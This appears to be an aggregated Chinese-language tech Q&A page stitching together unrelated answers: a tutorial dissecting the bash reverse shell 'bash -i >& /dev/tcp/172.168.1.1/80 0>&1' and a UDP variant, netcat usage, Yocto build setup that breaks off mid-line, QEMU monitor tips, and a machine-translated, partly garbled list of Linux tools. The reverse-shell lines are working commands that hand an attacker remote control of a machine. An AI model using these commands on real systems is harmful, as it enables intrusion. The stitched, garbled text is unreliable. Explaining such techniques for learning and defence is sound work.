1. 反彈shell基礎
將這句話拆開來看, bash -i , >& , /dev/tcp/ , 0>&1 ,有三個知識點。
(1) bash -i 是打開一個交互的bash
(2) /dev/tcp/ 是linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
(3) >& 和 0>&1 這兩個涉及到Linux文件描述符和重定向。此處的 & 是取地址符
(1)文件描述符
Linux啟動時會默認打開三個文件描述符(實現文件讀寫操作),Linux把鍵盤、顯示器等設備也當做文件用文件描述符進行控制,如果要修改默認設備就需要進行重定向。
(2)重定向
輸入的重定向包括, < 和 << ,輸出的重定向包括, > 和 >> , n< file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開),如果n省略就是0(標准輸入)。同理如果是輸出的重定向, n> file ,n省略則默認是1。
錯誤輸出的重定向有三種形式
其中, &> 和 >& 是一個意思,都是將標准錯誤輸出合並到標准輸出中。 2>&1 和 >file 可以用如下過程圖表示
需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設備只對該條指令有效,如果想要一直有效,就需要添加exec指令 exec n </> file/n
(3)復制
與之形似的是文件描述符的復制 n<&m / n>&m ,這兩個都是將文件描述符 n 復制到 m ,兩者的區別是,前者是以只讀的形式打開,後者是以寫的形式打開,因為讀/寫方式對於復制操作幾乎沒有影響所以兩者基本可以看作是等價的。這里的 & 目的是區分以數字為名字的文件和文件描述符的數值,如果沒有 & 系統會認為是將文件描述符重定向到了一個數字作為文件名的文件,而不是另一個文件描述符。
此時再來看這句命令,可與理解為,創建一個可交互的bash和一個到172.168.1.1:80的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在172.168.1.1:80監聽的進程。
首先,反彈shell可以理解為,攻擊者監聽在TCP/UDP埠,被控制端的請求被轉發到該埠,可以控制其輸入輸出。一般攻擊者攻擊了一台機器,並用自己的主機去連接該機器的埠,這是一種「正向連接」,遠程桌面、web服務、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機器處於內網中可能造成無法連接,或者有防火牆等限制,再或者攻擊者需要進行實時控制,正向連接是無法滿足需要的。所以有了「反向連接」,即讓被攻擊的主機主動去連接攻擊者的伺服器。
所以我們還可以從反向連接的角度來理解一下 0>&1 。如果只是 bash -i >& /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了埠,該埠可接收到我們的輸出,即我們正向連接了被攻擊者的機器,但是我們輸入shell後是無法看到回顯的。回顯只會顯示在被攻擊者的機器上。如果我們想要得到回顯,需要將被攻擊機器的輸入描述符連接到我們監聽的埠上。
也就是說如果我們想要看到回顯,除了先將輸出描述符連接到埠上,還需要將其輸入描述符也連接到埠上。即輸入描述符0和輸出描述符1連接相同, 0>&1 即可解決。這就形成了一個迴路,實現了遠程互動式shell的功能。
不過這樣的一條指令還不夠完善,因為這條指令會使得我們在被攻擊的機器上依然能看到我們在攻擊者機器中執行的指令,那麼解決辦法就是將錯誤輸出和標准輸出進行混合,即將 bash -i > 換為 bash -i >&
Bash相關shell主要有以下幾種:
剛才詳細講的是第一種bash shell,第二種是將 >& 這種錯誤輸出的混合方式改成了 2>&1 ,2代表錯誤輸出,1代表標准輸出,2指向了1,即輸出混合了。文件描述符的復制 n<&m / n>&m 兩種雖然讀寫不同但是對於shell的效果是等價的,即和 0>&1 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報錯都定位到同一位置。第五種選了一個新的文件描述符196,道理類似。
對於第三種bash shell,exec已經在前面提到過可以持續連接,後面的關鍵點如下:
從文件中依次讀取每一行,將其賦值給 line 變數(其他也可),之後在循環中對line進行操作。這里不再從文件中讀取,而是通過管道符對攻擊者機器上輸入的命令進行依次執行,並且將標准輸出和標准錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現互動式shell的功能。
另外,本文最開始的時候說到/dev/tcp/是Linux中的一個特殊設備類似的還有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i >& /dev/udp/172.168.1.1/80 0>&1
除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語言(python、Perl、Ruby、Go、php、Lua、JAVA、gawk、Powershell)反彈shell的方式,這里就不一一列舉了,原理類似。寫這篇文章總結shell的過程中順手將網路上的shell進行了收集,將近80條,寫了BashShell.py,就是個簡單的查詢shell的工具,有需要的下方留言
2. linux怎麼使用nc命令來發送一串使用udp協議的數據或者不是NC也可以的命令
echo -n 「foo" | nc -4u -w1 <host> <udp port>
或者
echo -n "hello" >/dev/udp/localhost/8000
3. linux imx6ul 怎麼去掉yocto進度條
1. 執行以下命令,安裝如下軟體
~# apt-get install gawk wget git-core diffstat unzip texinfo gcc-multilib build-essential chrpath socat
~# apt-get install u-boot-tools
~# apt-get install libsdl1.2-dev xterm sed cvs subversion coreutils texi2html docbook-utils python-pysqlite2 help2man make gcc g++ desktop-file-utils libgl1-mesa-dev libglu1-mesa-dev mercurial autoconf automake groff curl lzop asciidoc
2. 下載repo
~# mkdir ~/bin
~# curl http://php.webtutor.pl/en/wp-content/uploads/2011/09/repo > ~/bin/repo//獲取repo
~# chmod a+x ~/bin/repo
~# export PATH=~/bin:$PATH
3. 初始化repo並git下源碼,依據網速可能要一個小時左右
~# mkdir fsl_6dl_release
~# cd fsl_6dl_release
~/fsl_6dl_release# git config --global user.name "Your Name"
~/fsl_6dl_release# git config --global user.email "Your Email"
~/fsl_6dl_release# repo init -u git://git.freescale.com/imx/fsl-arm-yocto-bsp.git -b imx-3.14.28-1.0.0_ga
~/fsl_6dl_release# repo sync
至此基本環境搭建完畢。
4. 安裝NFS
~$ sudo apt-get install nfs-kernel-server
~$ sudo mkdir /imx6
~$ sudo vi /etc/exports
最後一行添加:/imx6 *(rw,sync,no_root_squash,no_sub
4. QEMU Monitor 使用
從命令行啟動qemu之後,按鍵 Ctrl-a c 可以進入monitor,之後可以執行很多有用的命令。具體可以參考 https://qemu.readthedocs.io/en/latest/system/monitor.html 。但是文檔沒有提到的是其他進入monitor的方式,尤其是想要同時有consel 和 monitor的情況。
查詢手冊的執行參數一章可以看到參數 -monitor dev 可以指定monitor使用什麼字元設備輸出。但是用法沒給,而且必須使用字元設備也比較難用。
繼續查詢,這個回答很有幫助,提到如何開啟網路埠做monitor: https://unix.stackexchange.com/questions/426652/connect-to-running-qemu-instance-with-qemu-monitor
再查閱手冊,問題已經明白了。 dev設備 可以是很多形式,在執行參數 -serial dev 裡面講的很全面。 https://qemu.readthedocs.io/en/latest/system/invocation.html 。
而且這種靈活的使用方式不僅適用於monitor,也適用於 serial, 也就是能夠很方便的把guest os的consel重定向到各種形式的介面上(包括 虛擬控制台,tty,網路,管道,文件等)。
QEMU的強大令人驚嘆,回頭看看這塊源碼怎麼實現的。
這里給出具體參數,省去查找的麻煩:
qemu-system-aarch64 ... -monitor telnet:127.0.0.1:55555,server,nowait
使用telnet即可監聽埠: telnet 127.0.0.1 55555
UNIX套接字為簡單高效建立本地進程間通信的一種機制,介面和網路套接字一致,但是內部去掉了TCP/IP協議棧的繁瑣流程,提高通信效率。相關說明: https://akae.github.io/book/ch37s04.html
QEMU參數為: -monitor unix:qemu-monitor-socket,server,nowait , qemu-monitor-socket為套接字名稱,可以自定義。
使用socat連接: socat - unix-connext:qemu-monitor-socket 。 socat連接效果比telnet效果好。
socat工具十分強大,使用參考: http://brieflyx.me/2015/linux-tools/socat-introction/ 和 https://www.jianshu.com/p/54005e3095f3 。
5. 在地址為192.168.1.44的主機上,要檢查到另一台主機的端到端連接性,可通過CLI執行哪個命令
ping:通過ICMP回應/回復報文檢查遠端主機的端到端連接性(RTT延時,抖動,丟包)。用來檢查系統狀態和可連接性很不錯
.hping:網路掃描和檢測工具,可以產生ICMP / TCP / UDP ping數據包。常常用於高級埠掃描,防火牆測 試驗,手動MTU路徑發現和碎片測試.traceroute
:通過TTL限定的ICMP / UDP / TCP偵測包來發現從本地主機到遠端目標主機之間的第三層轉發路徑。用來調試網路連接性和
路由問題.mtr:traceroute的一個變種,能根據運行時統計數據整理出每一跳的包丟失/動作。用來評估路由路徑延時很不錯.netcat
/ socat:TCP / IP網路里的瑞士軍刀,可以讀/寫TCP / UDP協議位元組流。用來調試防火牆策略和服務可用性很不錯.dig
:DNS調試工具,可以生成正向查詢,反向查詢,搜索域名伺服器,檢查CNAME,MX及其他DNS記錄。可以在偵錯的時候查詢特定的DNS伺服器.nslookup
:另外一個DNS檢查/調試工具。支持所有DNS查詢和記錄。可以查詢特定DNS伺服器。
dnsyo:一個DNS測試工具,通過對全世界1500個不同網路中的大量開放解析器執行DNS查詢來測試DNS傳輸.lsof
:顯示進程打開的文件信息(例如,普通文件,管道或套接字)。用來監視網路連接很不錯
.iftop:一個基於ncurses的命令行界面應用,可以實時監視各個網路物理介面上的網路連接和帶寬佔用。用來記錄霸佔帶寬的應用,用戶,目的地和埠等很不錯
.netstat:一個網路統計工具,可以顯示狀態以及統計信息,當前網路連接(TCP / UDP埠,IP地址),路由表,TX / RX流量以及網路協議。用來做網路相關診斷和性能調試很不錯
.tcpmp:一個常用的基於libpcap抓包庫的包偵測工具。可以按伯克利包過濾器格式定義抓包條件
.tshark:另一個命令行抓包工具,和它的GUI版本Wireshark完全兼容。支持1000種協議而且這個列表還在增加。用來調試,分析和保存實時 。絡封包信息很不錯
的ip:。一個多功能的命令行網路工具,是iproute2的包的一部分可以檢查和修改路由表,網路設備狀態以及IP隧道設置用來查看路由表,增加/刪除靜態路由,配置網路介面,以及調試路由問題很有用.ifup
/ ifdown:用來激活和關閉特定的網路介面。經常用於重啟整個網路服務.autossh
:一個能建立SSH連接並在斷線後自動重新連接的程序。用來創建長時間保持的穿越嚴格企業網路的SSH隧道很有用.iperf
:一個網路測試工具,通過在發送自定義TCP / UDP數據流來衡量主機間雙向最大吞吐量
.elinks / lynx:為基於命令行的伺服器環境下使用的基於文字的網頁瀏覽器。
安全工具
iptables的:一個用戶空間下的命令行工具,用於配置Linux的內核防火牆可以創建和修改的Linux內核空間的網路包接收,轉發和發送規則。
NMAP:一個常用的為了安全審查目的的埠掃描和網路發現
TCP包裝:一個主機端的網路訪問控制列表工具,可以過濾進入/出去的網路請求/ 工具。用來在本地網路回復經常配合iptables的一起使用,作為額外一層安全保護。
getfacl的說明書/ setfacl的:查看和定製文件和目錄的訪問控制列表,作為傳統文件許可權的擴展。
cryptsetup:用於創建和管理LUKS加密磁碟分區
lynis :一個命令行的漏洞掃描工具。可以掃描整個Linux系統,並匯報潛在的漏洞以及相關可能解決方案
.maldet:一個惡意軟體掃描命令行工具,可以檢測和隔離潛在的感染文件。可以在後台運行長期監 。
rkhunter / chkrootkit的:一個命令行工具,可以掃描本地系統里的潛在木馬,隱藏後門和可疑利用,並禁用它們。
存儲工具
的fdisk:一個磁碟分區編輯工具用於查看,創建和修改本地磁碟或可移動磁碟的分區
.sfdisk:fdisk的一個變種,能用一種非交互的方式訪問或更新磁碟分區表。用來自動化備份和恢復過程中的磁碟分區很有用
.parted:另一個磁碟分區編輯器,支持超過2TB的磁碟的GPT(GUID分區表)格式.gparted是parted的一個前端GTK +圖形界面.df
:用來查看不同分區或文件路徑的已用/可用存儲空間和掛載點。還有一個更易用的變種DFC。
:用來查看不同文件和目錄的當前磁碟佔用情況(例如, -sh *)。
mkfs:一個磁碟格式化命令,用來在獨立磁碟分區上建立文件系統。有多個文件系統相關的版本:ext2,ext3,ext4,bfs,ntfs,vfat /
fat.fsck:一個命令行工具,用來檢查文件系統錯誤並嘗試可能的修復。通常在啟動時自動運行,但是在卸載一個分區後也可以根據需要手動運行
.mount:用來映射一個物理磁碟分區,網路共享或遠程存儲到一個本地掛載點。任何對掛載點里的讀/寫操作都是對應實際存儲的實際數據讀/寫
.mdadm :一個命令行工具,用來管理物理塊設備上的軟體RAID設備。可以創建,構造,增長或監視RAID陣列.lvm
:一套命令行工具集,用來管理卷分組和物理/邏輯卷,可以。用最小的停機時間在多個物理磁碟上創建,調整大小,狀語從句:拆分合並卷
日誌訪問工具
尾:用來查看一個(長中的)日誌文件的尾部有幾個變種,包括multitail(多窗口查看)和ztail(支持的inotify和正則表達式過濾以及顏色)。
logrotate的:一個命令行工具,可以在根據設定的時間段拆分,壓縮並通過郵件發送舊的/大的日誌文件。用來管理可能產生大量日誌文件的繁忙主機很有用.grep
/ egrep:可以通過特定的模式或正則表達式過濾日誌內容。變種包括用戶更友好的ack和速度更快的ag.awk
:一個多功能的文本掃描和處理工具。常用於從文本/日誌文件中找出特定的列或內容,並輸出給其他工具.sed
:一個文本流編輯工具,可以過濾和改變(例如,刪除行/空格,替換/轉換單詞,增加計數)文本流並通過管道連接到標准輸出/標准錯誤或者其他工具。
備份工具
rsync:一個快速的單向增量備份和鏡像工具(常規於復制一個數據倉庫到線下存儲,可以選擇通過SSH或stunnel的加密連接
.rdiff-backup :另一個有效利用帶寬的增量備份工具.diplicity
:一個加密的增量備份工具。使用GnuPG加密備份,並通過SSH上傳到遠程伺服器。
性能監視工具
top:一個命令行的進程查看程序。可以監視系統負載,進程狀態,CPU和內存佔用。有一個更易用的變種htop。ps
:顯示系統所有運行中進程的一個快照。輸出可以定製成顯示PID,PPID,用戶,負載,內存,積累的用戶/系統時間,啟動時間,以及更多。有一個變種pstree可以用樹結構顯示進程
.nethogs:一個帶寬監視工具,按進程來分組顯示活動網路連接,實時匯報 -個進程佔用的(上傳/下載)帶寬
.ngxtop:一個網頁 伺服器訪問日誌解析和監視工具,界面受到了top命令啟發。它可以實時匯報整理過的頁面請求列表,包括頻率,大小,HTTP返回值,IP地址,等等.vmstat
:一個簡單的命令行工具,可以顯示多個實時系統特徵,例如進程數,剩餘內存,分頁狀態,CPU佔用,塊設備I / O活動,中斷/上下文切換統計,
等等.iotop:一個基於ncurses的I / O監視工具,可以實時排序顯示所有運行中進程的磁碟I / O活動
.iostat:一個命令行工具,可以匯報當前CPU使用情況,以及設備I / O使用情況,這里的I / O使用情況(例如,塊傳輸速度,位元組讀/寫速度)是按設備或分區來匯報的。
效率工具
screen:用來把一個單一的終端拆分成多個持久的虛擬終端,也支持遠程用戶訪問,類似teamviewer的屏幕分享功能
.tmux:另一個終端復用工具,可以支持多個長期會話,還可以橫向/縱向拆分終端。
作弊:一個簡單的命令行工具,可以讓你查看多個常用Linux命令的備記錄,就在手邊非常方便。內建的備忘錄也可以完全定製.apropos
:用來在幫助手冊里查找描述或關鍵字很有用。
包管理工具
apt:基於Debian系統的事實上的包管理工具,例如Debian,Ubuntu或Backtrack。一個救生圈.apt
-fast:apt-get的一個支撐應用,可以通過多個並行連接明顯提高apt-get的下載速度
.apt-file:用來查看某個特定文件屬於哪個.deb包,或者顯示一個特定.deb包里的所有文件。已安裝和未安裝的包都能支持
.dpkg:一個用來手動安裝.deb包的命令行工具。強烈建議盡可能的使用apt.yum
:用於基 於紅帽的系統的自動包管理工具,比如RHEL,CentOS或Fedora。這是另一個救生圈!
rpm:通常我都是使用rpm來配合yum使用。有很多有用的參數,比如-q,-f, -l可以分別用來查詢,指定文件和路徑。
硬體工具
lspci的:一個命令行工具,可以顯示已安裝的PCI設備的各種信息,比如型號名稱,設備驅動,設備功能,內存地址,PCI匯流排地址。
lshw:一個命令行工具,可以查詢和顯示不同分類下的硬體配置的詳細信息(例如,處理器,內存,主板,網路,存儲)支持多重輸出格式:HTML,XML,JSON文本。
inxi:一個綜合硬體查看工具,可以提供不同硬體模塊的總覽,例如CPU,顯卡,音效卡,網卡,溫度/風扇感測器,等等。